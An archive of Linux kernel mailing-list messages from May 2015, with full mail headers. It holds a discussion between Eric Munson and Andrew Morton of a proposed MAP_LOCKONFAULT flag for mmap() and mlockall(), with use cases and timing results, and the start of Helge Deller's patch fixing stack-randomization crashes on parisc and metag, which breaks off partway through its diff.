Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Yrooi-000575-9f
	for glkm-linux-mm-2@m.gmane.org; Mon, 11 May 2015 16:36:24 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 89F3E6B0075; Mon, 11 May 2015 10:36:21 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 851CE6B0078; Mon, 11 May 2015 10:36:21 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 766696B007B; Mon, 11 May 2015 10:36:21 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pa0-f51.google.com (mail-pa0-f51.google.com [209.85.220.51])
	by kanga.kvack.org (Postfix) with ESMTP id 32DCC6B0075
	for <linux-mm@kvack.org>; Mon, 11 May 2015 10:36:21 -0400 (EDT)
Original-Received: by pabtp1 with SMTP id tp1so111533136pab.2
        for <linux-mm@kvack.org>; Mon, 11 May 2015 07:36:20 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=t8K3OtF8HPiS1TMjDP6N0gqTDni+aiUNLTGEc3pR07E=;
        b=QjP4EkL6wePoYALulTf91zXMsIPUnVxUww0LBISQxiezIvf17QWuDqcf1yZ5j6ZOs2
         bJ18Ex+eul54ph4d3kAB/mzj3zNWey4/LmydNuHUFl+NvLaeOEVM4aqYYkXGh8UJF/F7
         LLDbkLH9LZY8MCKvvwRZmRVEzxvOjVzhn7cfQXmJ/P0Y/9Nly8Hz4ksE8FuWZPSY7Uxo
         zBxFe2gPAULuQU1QATrbzlpOdDn/5Ml3u663eigtV68VZnYDBXaQWJP0kr81H7q7hw1z
         gbqhG/4k9jg0jMF2zY9hotloatbAQfUw95WP3kdAbRL5Ugx95Tct5JwHDh7yojH6fonP
         akdA==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQnga2x/9vccBjz/EvcdGqrkPaHHRCKmgraCOAN+gRjNBpy/AqwmrmAFOmDWH8J4ABnaV1sOQlrMkhsf77+aMzDoU5mmG/E2FOJ/nCx52eMP8TiehZcbwNrFzUhKOrDgJllhnJvTDatELHaMBH/c83AGYGkN7M6Chbo2vDTbtjHi1/W87UcSYSmAhTcBnj9edMgxFcPh
X-Received: by 10.70.98.171 with SMTP id ej11mr19627034pdb.72.1431354980900;
        Mon, 11 May 2015 07:36:20 -0700 (PDT)
X-Received: by 10.70.98.171 with SMTP id ej11mr19626945pdb.72.1431354980126;
        Mon, 11 May 2015 07:36:20 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id bz7si18232161pdb.16.2015.05.11.07.36.19
        for <linux-mm@kvack.org>;
        Mon, 11 May 2015 07:36:20 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 0B623285DF;
	Mon, 11 May 2015 14:36:19 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id E1560285D8;
	Mon, 11 May 2015 14:36:18 +0000 (GMT)
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id A76B08004A;
	Mon, 11 May 2015 14:36:18 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150508131523.f970d13a213bca63bd6f2619@linux-foundation.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:132526 gmane.linux.ports.alpha:3069 gmane.linux.kernel:1950248 gmane.linux.ports.mips.general:48460 gmane.linux.ports.parisc:25724 gmane.linux.ports.ppc64.devel:112801 gmane.linux.ports.sparc:21020 gmane.linux.kernel.cross-arch:27617 gmane.linux.kernel.api:10887
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/132526>


--6TrnltStXW4iwmi0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 08 May 2015, Andrew Morton wrote:

> On Fri, 8 May 2015 16:06:10 -0400 Eric B Munson <emunson@akamai.com> wrot=
e:
>=20
> > On Fri, 08 May 2015, Andrew Morton wrote:
> >=20
> > > On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson@akamai.com>=
 wrote:
> > >=20
> > > > mlock() allows a user to control page out of program memory, but th=
is
> > > > comes at the cost of faulting in the entire mapping when it is
> > > > allocated.  For large mappings where the entire area is not necessa=
ry
> > > > this is not ideal.
> > > >=20
> > > > This series introduces new flags for mmap() and mlockall() that all=
ow a
> > > > user to specify that the covered are should not be paged out, but o=
nly
> > > > after the memory has been used the first time.
> > >=20
> > > Please tell us much much more about the value of these changes: the u=
se
> > > cases, the behavioural improvements and performance results which the
> > > patchset brings to those use cases, etc.
> > >=20
> >=20
> > The primary use case is for mmaping large files read only.  The process
> > knows that some of the data is necessary, but it is unlikely that the
> > entire file will be needed.  The developer only wants to pay the cost to
> > read the data in once.  Unfortunately developer must choose between
> > allowing the kernel to page in the memory as needed and guaranteeing
> > that the data will only be read from disk once.  The first option runs
> > the risk of having the memory reclaimed if the system is under memory
> > pressure, the second forces the memory usage and startup delay when
> > faulting in the entire file.
>=20
> Why can't the application mmap only those parts of the file which it
> wants and mlock those?

There are a number of problems with this approach.  The first is it
presumes the program will know what portions are needed a head of time.
In many cases this is simply not true.  The second problem is the number
of syscalls required.  With my patches, a single mmap() or mlockall()
call is needed to setup the required locking.  Without it, a separate
mmap call must be made for each piece of data that is needed.  This also
opens up problems for data that is arranged assuming it is contiguous in
memory.  With the single mmap call, the user gets a contiguous VMA
without having to know about it.  mmap() with MAP_FIXED could address
the problem, but this introduces a new failure mode of your map
colliding with another that was placed by the kernel.

Another use case for the LOCKONFAULT flag is the security use of
mlock().  If an application will be using data that cannot be written
to swap, but the exact size is unknown until run time (all we have a
build time is the maximum size the buffer can be).  The LOCKONFAULT flag
allows the developer to create the buffer and guarantee that the
contents are never written to swap without ever consuming more memory
than is actually needed.

>=20
> > I am working on getting startup times with and without this change for
> > an application, I will post them as soon as I have them.
>=20

--6TrnltStXW4iwmi0
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVUL5iAAoJELbVsDOpoOa9+rIP/AtdiaAVRSAXFkS8FoN053Gp
X9V3dAR/tJhrcsK0YFQcYBdG/e2doGqbJq6ni9iHdiABQ/dWmC6LZIRugSGltzGw
WN3WSPpzLAHLS6TbH5KPydvrbne32pCI02McxTCSJ+IKARHZvUz3JWaq0z1/Tuqa
U6pKp0qOo+1CD/YYgew2vyVWTZozPG379QhIkolLAtd4/FnL1DL8tW9gwgP6/pSF
lfKNZNc2RFTRBnONckDDctDVbV8MZJCzPbPk4lBvhqc8VS11GWPylocZFB76C/w4
Jcj5+JRUXgqGuIb+hwnQcnv/jAn2yjXW//6vB8qG0r1oXfCF7QwAVQegbjV7VAyT
iQj3785JaeFIWUy8WLIk+BqP8tTzB/hphDTiV4dqTeHDSZGYw1ioFbzXcqkrapdm
Ycqq4oTBxl7OkqDW5UQvvAWv4q9YP/E1KJK7O/HccybRcofVNGyO4hH+lgeFazMw
5Id9Ptd/+qLxHP7jX0G53facKx5M8xtUT1DfsHi/nmCLD/uFdFOueaHKzQiVVGcp
C8SgvCWcBQrHtgcn/JOyKH211sKOszOHFxg3TkglDl6s3th5zd+SAjYGRjKYizPe
FoZ1FWhjyvsuybV8KFs5LRZ6et3kD06bCZrGS8JMrNo6R4BA4z7o88EVUxkSXx+z
s7IIi8UpQrCbKJra0ucm
=R9vZ
-----END PGP SIGNATURE-----

--6TrnltStXW4iwmi0--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Mon, 11 May 2015 14:06:31 -0400
Lines: 79
Approved: news@gmane.org
Message-ID: <20150511180631.GA1227@akamai.com>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
 <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="+QahgC5+KEYLbs62"
X-Trace: ger.gmane.org 1431367608 21174 80.91.229.3 (11 May 2015 18:06:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 May 2015 18:06:48 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Mon May 11 20:06:40 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Yrs67-0000cd-JJ
	for glkm-linux-mm-2@m.gmane.org; Mon, 11 May 2015 20:06:35 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 627CE6B0038; Mon, 11 May 2015 14:06:33 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 5B20D6B006C; Mon, 11 May 2015 14:06:33 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 47A016B006E; Mon, 11 May 2015 14:06:33 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pd0-f182.google.com (mail-pd0-f182.google.com [209.85.192.182])
	by kanga.kvack.org (Postfix) with ESMTP id 006916B0038
	for <linux-mm@kvack.org>; Mon, 11 May 2015 14:06:33 -0400 (EDT)
Original-Received: by pdbnk13 with SMTP id nk13so152198272pdb.0
        for <linux-mm@kvack.org>; Mon, 11 May 2015 11:06:32 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=Tlk4ZJbh4Ck97N6DLRWi5dmqqDr+gT4g7kw4Mt38kks=;
        b=ihjr4L7zAwNYW4Ga81tNyMUKNhpBX1ypXNked21HO8aQsf1Ps/rOEhq+ODygyGFtfN
         i6tPPzR1TcPVa2srs5GSMkttoINrlYdpvTU2xZ9oWKCjbKU2E8IZ6ncg6Hodc/pzLvTI
         /6jKQCWjhS1udmkIG8s6Sfm+fBy06quycnMZpLTIqQqA25WBR4SSM0K66mXvgFDC821n
         NABS4RT0d5aXtpLIF/S4LKBv2bQWnTCcJekxAIhRwTqRO+nufO5gvuRBvKKHTILVa8/v
         LbwbH6Dw0OoexpIuFRUFBpxsc9v7EcrulqQimcuP6bPnOT7VfUyzjb4meqSpviBDYSev
         zEBQ==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQnImJui3pfg+eP+VxL0Ybtg7iPAJRdo5x8m2vvuis1guh3GiIG31CuHhyADMf79aoS5hpxOaFidBrsJ4uFLkWP+Hk2rqTTUZUaPs1pb98L3JNNjjoWVTIrho1F/cm8DknO8GKYMhjuiWDoTiWPLQPenla1BDsbFFjhPl0c0CCMOMwND51GHsdvVO90oZcXMg8Wpb9bX
X-Received: by 10.66.142.12 with SMTP id rs12mr20436264pab.141.1431367592739;
        Mon, 11 May 2015 11:06:32 -0700 (PDT)
X-Received: by 10.66.142.12 with SMTP id rs12mr20436204pab.141.1431367592151;
        Mon, 11 May 2015 11:06:32 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com (prod-mail-xrelay07.akamai.com. [72.246.2.115])
        by mx.google.com with ESMTP id vr2si18893359pab.15.2015.05.11.11.06.31
        for <linux-mm@kvack.org>;
        Mon, 11 May 2015 11:06:32 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) client-ip=72.246.2.115;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 4AD8A47CF4;
	Mon, 11 May 2015 18:06:31 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 3B77D47CF5;
	Mon, 11 May 2015 18:06:31 +0000 (GMT)
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 34B6080051;
	Mon, 11 May 2015 18:06:31 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:132547 gmane.linux.ports.alpha:3070 gmane.linux.kernel:1950548 gmane.linux.ports.mips.general:48482 gmane.linux.ports.parisc:25725 gmane.linux.ports.ppc64.devel:112839 gmane.linux.ports.sparc:21021 gmane.linux.kernel.cross-arch:27636 gmane.linux.kernel.api:10900
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/132547>


--+QahgC5+KEYLbs62
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 08 May 2015, Andrew Morton wrote:

> On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson@akamai.com> wro=
te:
>=20
> > mlock() allows a user to control page out of program memory, but this
> > comes at the cost of faulting in the entire mapping when it is
> > allocated.  For large mappings where the entire area is not necessary
> > this is not ideal.
> >=20
> > This series introduces new flags for mmap() and mlockall() that allow a
> > user to specify that the covered are should not be paged out, but only
> > after the memory has been used the first time.
>=20
> Please tell us much much more about the value of these changes: the use
> cases, the behavioural improvements and performance results which the
> patchset brings to those use cases, etc.
>=20

To illustrate the proposed use case I wrote a quick program that mmaps
a 5GB file which is filled with random data and accesses 150,000 pages
=66rom that mapping.  Setup and processing were timed separately to
illustrate the differences between the three tested approaches.  the
setup portion is simply the call to mmap, the processing is the
accessing of the various locations in  that mapping.  The following
values are in milliseconds and are the averages of 20 runs each with a
call to echo 3 > /proc/sys/vm/drop_caches between each run.

The first mapping was made with MAP_PRIVATE | MAP_LOCKED as a baseline:
Startup average:    9476.506
Processing average: 3.573

The second mapping was simply MAP_PRIVATE but each page was passed to
mlock() before being read:
Startup average:    0.051
Processing average: 721.859

The final mapping was MAP_PRIVATE | MAP_LOCKONFAULT:
Startup average:    0.084
Processing average: 42.125



--+QahgC5+KEYLbs62
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVUO+mAAoJELbVsDOpoOa9NTQP/2wouTuGwUNtVMFtzfwXaw9K
VqgrTohALyWDKXY4YiEVXyru5Mi7BJvzwBzjXo2eNFNBHj5DwILwKk/9ONw1l7kC
KCAMPqxGumpbM0dYJwaDYmYCsSmfTuFfv4G/Y/p7q43+mtfr6fCKAu+iIKvZpjve
T374ZgnngXdn43b4lC7Abk4SakIEz7bj2gzX7B6WTRJ5/WZUDe/WkA4k+9bO58yQ
M2GKbVNdCbFS2yL8awktB+NCUw5wmUreswog6c9E1h7HHTI0u0TzXa3E+NYZ4DGu
rmsFzaojbtuNHvvuDIDLeBw1Dc6BlwdWTk+OgAUnseXrbTB+L7KKZS4on56W+zIi
AIDTZ1oEvYsUZg06tPmKhLAgLA+FvpcsNYYjRwGlHEwjcwLL2LjF1gAMGZk1n8UP
uTuhOR/Q0WtRRQks706KG47OkVs0glntwFRwpZ0/a5iACKMhQhIL6LJjDmR5jSFI
cA70pVY49xmBKQ/vY2gMrKwGuHA00kvLaVVwUqga9AUgD0zisklvSPfzs3ihxkLL
b61PtZJJ4rggU6HgH/aNVaKIsGiy8SnGZPgnkinlB0QQFrbrfmgk7/imIHT09pDQ
K0o/U3KOitLxnvS1mSk6l4rCxYQ5037KrlGU15pqp5WIOuAiad6dpoUN4iLN/nuk
RMNxTjQZKYW0XS2oLyRI
=2v7D
-----END PGP SIGNATURE-----

--+QahgC5+KEYLbs62--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Mon, 11 May 2015 12:12:04 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20150511121204.2af73429ad3c29b6d67f1345@linux-foundation.org>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
	<20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
	<20150508200610.GB29933@akamai.com>
	<20150508131523.f970d13a213bca63bd6f2619@linux-foundation.org>
	<20150511143618.GA30570@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1431371539 24372 80.91.229.3 (11 May 2015 19:12:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 May 2015 19:12:19 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon May 11 21:12:12 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1Yrt7Y-0007lo-Kf
	for lnx-linux-alpha@plane.gmane.org; Mon, 11 May 2015 21:12:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754797AbbEKTMH (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 11 May 2015 15:12:07 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:37228 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752577AbbEKTMG (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Mon, 11 May 2015 15:12:06 -0400
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.95])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id D701CB8E;
	Mon, 11 May 2015 19:12:04 +0000 (UTC)
In-Reply-To: <20150511143618.GA30570@akamai.com>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3071 gmane.linux.kernel:1950748 gmane.linux.ports.mips.general:48483 gmane.linux.ports.parisc:25726 gmane.linux.ports.ppc64.devel:112841 gmane.linux.ports.sparc:21022 gmane.linux.kernel.mm:132548 gmane.linux.kernel.cross-arch:27638 gmane.linux.kernel.api:10905
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3071>

On Mon, 11 May 2015 10:36:18 -0400 Eric B Munson <emunson@akamai.com> wrote:

> On Fri, 08 May 2015, Andrew Morton wrote:
> ...
>
> > 
> > Why can't the application mmap only those parts of the file which it
> > wants and mlock those?
> 
> There are a number of problems with this approach.  The first is it
> presumes the program will know what portions are needed a head of time.
> In many cases this is simply not true.  The second problem is the number
> of syscalls required.  With my patches, a single mmap() or mlockall()
> call is needed to setup the required locking.  Without it, a separate
> mmap call must be made for each piece of data that is needed.  This also
> opens up problems for data that is arranged assuming it is contiguous in
> memory.  With the single mmap call, the user gets a contiguous VMA
> without having to know about it.  mmap() with MAP_FIXED could address
> the problem, but this introduces a new failure mode of your map
> colliding with another that was placed by the kernel.
> 
> Another use case for the LOCKONFAULT flag is the security use of
> mlock().  If an application will be using data that cannot be written
> to swap, but the exact size is unknown until run time (all we have a
> build time is the maximum size the buffer can be).  The LOCKONFAULT flag
> allows the developer to create the buffer and guarantee that the
> contents are never written to swap without ever consuming more memory
> than is actually needed.

What application(s) or class of applications are we talking about here?

IOW, how generally applicable is this?  It sounds rather specialized.

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.kernel.mm
Subject: [PATCH] Fix crashes due to stack randomization on
 stack-grows-upwards architectures
Date: Mon, 11 May 2015 22:01:27 +0200
Lines: 86
Approved: news@gmane.org
Message-ID: <20150511200127.GA2338@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1431374512 10813 80.91.229.3 (11 May 2015 20:01:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 May 2015 20:01:52 +0000 (UTC)
To: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	James Hogan <james.hogan@imgtec.com>,
	linux-metag@vger.kernel.org, linux-mm@kvack.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 11 22:01:43 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YrttU-0003s1-Rx
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 May 2015 22:01:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753787AbbEKUBg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 May 2015 16:01:36 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:51488 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752277AbbEKUBf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 May 2015 16:01:35 -0400
Original-Received: from ls3530.box ([92.203.34.132]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0LeeNW-1ZZWuV34iU-00qSLM; Mon, 11 May 2015 22:01:29
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:PfLDYEI+02xE1f5KsgGxtAlEc7bEbJHSnzjn0kImH1C5nnz2mET
 2nUDWPHghCENWly1SWpYTzdw3uVWU4Qumagy9OJg+L83xnzH/itHylj5HEG1wAJ6egr0n8Z
 QIyxxcAXLjJgVRhG+Xe8GwWOffE4cz5MWGARGO24PAyZxgYyxsJDcj6j6gQM1IgeepFDrZ8
 q2l/dNKxS7mBeBef9OMaw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25727 gmane.linux.kernel:1950777 gmane.linux.kernel.metag:501 gmane.linux.kernel.mm:132550
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25727>

On architectures where the stack grows upwards (CONFIG_STACK_GROWSUP=y,
currently parisc and metag only) stack randomization sometimes leads to crashes
when the stack ulimit is set to lower values than STACK_RND_MASK (which is 8 MB
by default if not defined in arch-specific headers).

The problem is, that when the stack vm_area_struct is set up in fs/exec.c, the
additional space needed for the stack randomization (as defined by the value of
STACK_RND_MASK) was not taken into account yet and as such, when the stack
randomization code added a random offset to the stack start, the stack
effectively got smaller than what the user defined via rlimit_max(RLIMIT_STACK)
which then sometimes leads to out-of-stack situations and crashes.

This patch fixes it by adding the maximum possible amount of memory (based on
STACK_RND_MASK) which theoretically could be added by the stack randomization
code to the initial stack size. That way, the user-defined stack size is always
guaranteed to be at minimum what is defined via rlimit_max(RLIMIT_STACK).

This bug is currently not visible on the metag architecture, because on metag
STACK_RND_MASK is defined to 0 which effectively disables stack randomization.

The changes to fs/exec.c are inside an "#ifdef CONFIG_STACK_GROWSUP"
section, so it does not affect other platformws beside those where the
stack grows upwards (parisc and metag).

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: James Hogan <james.hogan@imgtec.com>
Cc: linux-metag@vger.kernel.org
Cc: linux-mm@kvack.org

diffstat:
 arch/parisc/include/asm/elf.h   |    4 ++++
 arch/parisc/kernel/sys_parisc.c |    3 +++
 fs/exec.c                       |    3 +++
 3 files changed, 10 insertions(+)


diff --git a/arch/parisc/include/asm/elf.h b/arch/parisc/include/asm/elf.h
index 3391d06..78c9fd3 100644
--- a/arch/parisc/include/asm/elf.h
+++ b/arch/parisc/include/asm/elf.h
@@ -348,6 +348,10 @@ struct pt_regs;	/* forward declaration... */
 
 #define ELF_HWCAP	0
 
+#define STACK_RND_MASK	(is_32bit_task() ? \
+				0x7ff >> (PAGE_SHIFT - 12) : \
+				0x3ffff >> (PAGE_SHIFT - 12))
+
 struct mm_struct;
 extern unsigned long arch_randomize_brk(struct mm_struct *);
